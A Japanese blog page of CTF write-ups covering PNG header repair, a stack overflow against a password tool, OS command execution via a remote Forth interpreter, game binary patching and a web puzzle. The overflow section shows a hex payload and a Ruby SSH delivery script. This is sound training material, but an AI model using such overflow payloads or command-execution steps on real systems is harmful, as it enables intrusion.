Defcamp CTF Qualification 2015 writeup She said it doesn't matter (Misc 100)

Void. Empty. Null. Downoad

This challenge does not have a specific flag format.
PNG画像のようですが表示することができません。バイナリエディタで確認してみると、"89 50 4E 47"で始まっていますので、PNGフォーマットで間違いなさそうです。
 ADDRESS   00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F   0123456789ABCDEF
------------------------------------------------------------------------------
 00000000  89 50 4E 47 0D 0A 1A 0A 00 00 00 0D 49 48 44 52   臼NG........IHDR
 00000010  00 00 02 9A 00 00 02 07 08 06 00 00 00 35 46 89   .............5F.
 00000020  13 00 00 00 04 67 41 4D 41 00 00 B1 8F 0B FC 61   .....gAMA..ア..��
PNGファイルシグネチャは必ず"89 50 4E 47 0D 0A 1A 0A"ですので間違いありません。IHDRチャンクを見てみましょう。
オフセットサイズ名称内容
0x00004Length00 00 00 0D
0x00044Chunk Type49 48 44 52(IHDR)
0x00084画像の幅
00 00 02 9A(666)
0x000C4画像の高さ
00 00 02 07(519)
0x00101ビット深度
08
0x00111カラータイプ
06
0x00121圧縮手法
00
0x00131フィルタ手法
00
0x00141インターレース手法
00
0x00154CRC35 46 89 13
Lengthからインターレース手法までは特に問題ないようです。CRCが正しいかどうか見てみましょう。下記のRubyコードでCRCを計算してチャンクデータを生成することができます。
# coding: UTF-8
require "zlib"

width, height = 666, 519
depth, color_type = 8, 6

# チャンクのバイト列生成関数
def chunk(type, data)
  [data.bytesize, type, data, Zlib.crc32(type + data)].pack("NA4A*N")
end

File.open("test_a.dat", "w") do |io|
  io.binmode
  io.write chunk("IHDR", [width, height, depth, color_type, 0, 0, 0].pack("NNCCCCC"))
end
これで計算してみると、CRCは"3F F4 FC 62"になります。CRCが誤っているようですので、該当箇所を修正して表示してみますが、まだ表示できません。次に怪しいのは画像の幅、高さですかね。

画像の幅、高さが合っているかIDATチャンクを展開して確認してみましょう。IDATデータはdeflate圧縮されていますので、次のRubyコードでIDATデータ部分のみ展開して別ファイルに保存します。
# coding: UTF-8
require "zlib"

File.open("m100.png", "r") do |io|
  io.binmode
  io.seek(0x73, IO::SEEK_SET)
  File.open("test_b.dat", "w") do |io2|
    io2.binmode
    io2.write Zlib::Inflate.inflate(io.read(0xfdf2))
  end
end
PNGのデータは1ラインごとに先頭に圧縮タイプを表すFilter Typeが設定されています。このFilter Typeの間隔を数えれば画像の幅が分かります。
 ADDRESS   00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F   0123456789ABCDEF
------------------------------------------------------------------------------
 00000000  00 FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF   ................
 00000010  FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF   ................
Filter Typeについては以下のサイトが分かりやすいです。
http://hoshi-sano.hatenablog.com/entry/2013/08/18/113434

Filter Typeを調べると、アドレス0000、0a71(=2673)、14e2(=5346)、・・・の位置に出現します。ということで、画像の幅は2672(=0a70)バイトであることが分かります。画像データサイズが1472823バイトなので、画像の高さは1472823÷2673=551(=0227)バイトになります。

画像の幅、高さが分かりましたので、IHDRチャンクを修復してみましょう。
1バイトを画像の1ピクセルと仮定して、ビット深度8ビット、カラータイプ0(グレースケール)でIHDRチャンクを生成します。
 ADDRESS   00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F   0123456789ABCDEF
------------------------------------------------------------------------------
 00000000  89 50 4E 47 0D 0A 1A 0A 00 00 00 0D 49 48 44 52   臼NG........IHDR
 00000010  00 00 0A 70 00 00 02 27 08 00 00 00 00 87 30 DA   ...p...'......0レ
 00000020  75 00 00 00 04 67 41 4D 41 00 00 B1 8F 0B FC 61   u....gAMA..ア..��
赤字の箇所が修正した箇所になります。
修正した画像ファイルを表示すると、下図のとおり表示されました。
m100_3

したがって、フラグは、
Flag:s1z3_d03s_ma773r_baby
です。

LHAとZIP―圧縮アルゴリズム×プログラミング入門
山崎 敏
ソフトバンククリエイティブ
2003-12


Defcamp CTF Qualification 2015 writeup Password encrypting tool (Exploit 100)

Our second newest programmer created a tool so that we can encrypt our usual passwords and use more secure ones wherever we register new accounts. He said that he left some sort of an easter egg that could leverage you, but he doesn't really expect anyone to get it. You are the newest programmer, can you find it and prove him you are the one?

Hack the target when you've figured out with this file.

Target: dctf@10.13.37.6:22
Key
与えられたバイナリを実行すると、"Enter password:"とプロンプトが表示されます。適当にパスワードを入力すると、"Your new secure password is:"と表示され、そのあとに入力内容に応じて何らかの値が出力されます。
# ./e100
Enter password: abcdefg
Your new secure password is: �������
IDA Pro Freeで該当箇所を見てみましょう。レジスタEBPから-2Ch(-44バイト)のアドレス位置に"Enter password:"で入力した内容が格納され、レジスタEBPから+8(バイト)の位置から、「BADB0169h」と比較して条件分岐しています。一致すれば、"cat flag"のコマンドが実行されてフラグが表示されると思われます。

no title

下図は、edb-debuggerでステップ実行したときのスクリーンショットです。ちょうど比較のところで止めています。
1

さらに下図は、メモリの状態です。bfde:a5acのところから入力した文字列(abcdefg)が格納されています。比較対象となるアドレスは44+8バイト先の部分ですので、この図ではbfde:a5e0の部分(da da da da)になります。この部分に「69 01 db ba」を格納すれば良いと思われます。
2

入力データの52バイトまではダミーで、53バイト目から「69 01 db ba」を設定します。最後は改行で終わります。これをtest.datというファイル名で保存します。
 ADDRESS   00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F   0123456789ABCDEF
------------------------------------------------------------------------------
 00000000  61 62 63 64 65 66 67 68 00 00 00 00 00 00 00 00   abcdefgh........
 00000010  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   ................
 00000020  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   ................
 00000030  00 00 00 00 69 01 DB BA 0A                        ....i.ۺ.       
Rubyで次のようなプログラムを書きます。最初にSSHで指定されたサーバに接続し、"Enter password:"の入力プロンプトが来たら、上で作成したtest.datの内容を送信します。
require 'rubygems'
require 'net/ssh'
 
Net::SSH.start('10.13.37.6', 'dctf', :keys => ['id_rsa_e100.txt']) do |ssh|
    command = "\n"
    channel = ssh.open_channel do |ch|
      channel.request_pty do |ch, success|
        raise "Could not obtain pty " if !success
      end
      channel.exec command do |ch, success|
        raise "failed to execute command" unless success
        ch.on_data do |c, data|
          if data =~ /password/ then #入力ダイアログが来たら
            pass = "1234567890\n"
            File.open('test.dat', 'r') do |io|
              io.binmode
              pass = io.read
            end
            channel.send_data pass #パスワードを送信する
          end
          puts data
        end
      end
    end
    ssh.loop#転送待ち
end
その結果が下記になります。見事フラグが表示されました。
ruby.exe: warning: -K is specified; it is for 1.8 compatibility and may cause odd behavior
aaaa.rb:7: warning: shadowing outer local variable - ch
aaaa.rb:10: warning: shadowing outer local variable - ch
Enter password:
abcdefgh^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@i^Aۺ

DCTF{3671bacdb5ea5bc26982df7da6de196e}

*** stack smashing detected ***: /home/dctf/e100 terminated
フラグは、
DCTF{3671bacdb5ea5bc26982df7da6de196e}
です。



32C3 CTF writeup forth

Connect to 136.243.194.49:1024 and get a shell.
ncコマンドで指定されたサーバに接続します。
>nc.exe 136.243.194.49 1024
yForth? v0.2  Copyright (C) 2012  Luca Padovani
This program comes with ABSOLUTELY NO WARRANTY.
This is free software, and you are welcome to redistribute it
under certain conditions; see LICENSE for details.
yForthというのは、Forth言語の実装の一つのようです。作者のサイトがこちら。
http://www.di.unito.it/~padovani/software.html
Forth言語というものが存在することを初めて知りました。

Forth言語についてはこちらのサイトが詳しいです。
http://www.h7.dion.ne.jp/~samwyn/forth/gforth/index.html

さて、問題ではシェルを取得せよとなっていますので、Forth言語からOSコマンドを実行する方法を調べます。
どうやら、スタックに文字列(OSコマンド)を保存した状態で、systemコマンドでOSコマンドを実行できるようです。

文字列について
http://www.h7.dion.ne.jp/~samwyn/forth/gforth/Displaying-characters-and-strings.html#Displaying-characters-and-strings

OSコマンド発行について
http://www.h7.dion.ne.jp/~samwyn/forth/gforth/Passing-Commands-to-the-OS.html#Passing-Commands-to-the-OS

S"でlsという文字列をスタックにPUSHします。S"の後ろにはスペースが必要です。
S" ls"
ok
次に、systemでlsコマンドを発行します。すると、ファイル一覧が表示されました。
system
flag.txt  README.gpl  run.sh  yforth
ok
catコマンドを発行して、flag.txtの中身を表示します。
S" cat flag.txt"
ok
system
32C3_a8cfc6174adcb39b8d6dc361e888f17b
ok
フラグは、
32C3_a8cfc6174adcb39b8d6dc361e888f17b
です。

井上 外志雄
共立出版
1985-07


RCTF 2015 Quals writeup tank

go! go! play the game! the flag in the tenth level.(The flag should include RCTF{})
TankGame_49724e9f821d5e61d9029a37d778c1f0
ダウンロードしたファイルを解凍すると、以下のファイルとフォルダが作成されます。
  • graphics
  • map
  • sound
  • TankGame.exe
TankGame.exeを実行してみます。すると、懐かしの「バトルシティー」キター!
1
1PLAYERで始めてみます。
数えてみると敵戦車を20機やっつけると、1面クリアのようです。
2
面倒なので、敵戦車20機を1機にするパッチを当てみましょう。
20は16進数では「0x14」なので、まず「IDA Pro Free」でTankGame.exeを開きます。そして、「Search」→「immediate value...」を選択し、「0x14」を検索します。
4
数値データとしての「0x14」はそれほど多くないようなので、stirlingで開いて、先頭から順番に「0x14」→「0x01」に修正して実行してみます。動かなくなったり、敵戦車が20機のままだったら、修正した箇所を元に戻して次の箇所を「0x14」→「0x01」に修正して実行してみます。

 ADDRESS   00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F   0123456789ABCDEF
------------------------------------------------------------------------------
 00003990  89 78 DC 89 38 05 BC 00 00 00 49 75 F3 BA 14 00   悦ワ.8.シ...Iu..
 000039A0  00 00 8D 86 34 0C 00 00 8B CA 89 38 83 C0 24 49   ..号4...玉.8β$I
すると、アドレス399Eの0x14を0x01に修正して実行したときに、見事、敵戦車が1機になりました。
3

これで敵戦車が1機だけになりましたので、クリアするのが簡単になりました。
後は、10面クリアすればフラグをゲットすることができます。10面クリアするとTankGame.exeと同じフォルダに「flag.txt」ファイルが作成されます。
U_9et_Th3_f1@g_0F_TankGame
したがって、フラグは、
RCTF{U_9et_Th3_f1@g_0F_TankGame}
になります。



RCTF 2015 Quals writeup sign in

"you should know that flag format is RCTF{}"
http://roisfzu.org:8998/funny
問題で与えられたURLにアクセスしてみます。
1

よく分かりませんが、とりあえず「Japan」を選択して「Update」ボタンをクリックします。
2

フラグが表示されました。
flag: this1sn0tt3ueflag
フラグの書式「RCTF{this1sn0tt3ueflag}」に直して試してみますが、通りません。よく見るとThis is not true flagのLeet表記でした。

次に、このページのソースを見てみました。
3

先ほどの偽フラグの所にHTMLコメントが書いてあります。
flag: Th1sAls0notT3uefl0g
フラグの書式「RCTF{Th1sAls0notT3uefl0g}」に直して試してみますが、これも違うようです。

ページを下のほうまでスクロールすると隠しメッセージ(反転すると表示される)があります。
4
keyboard: 23es1qazdc 5rdcvgy6 7gv 098ujnb zxcv resxc 4567tgb 78jk6yhn
QWERTYキーボードで上記メッセージのキーをなぞってみると、「ROiS_cTF」という文字になります。
ということで、フラグは、
RCTF{ROiS_cTF}
です。



記事検索
ギャラリー
  • TetCTF 2023 NewYearBot
  • UUT CTF writeup Find The Password
  • UUT CTF writeup The Puzzle
  • Hack Zone Tunisia 2019 writeup Microscope
  • Hack Zone Tunisia 2019 writeup Welcome
  • SwampCTF 2019 writeup Brokerboard
  • SwampCTF 2019 writeup Leap of Faith
  • SwampCTF 2019 writeup Last Transmission
  • CBM CTF 2019 writeup Long road
カテゴリー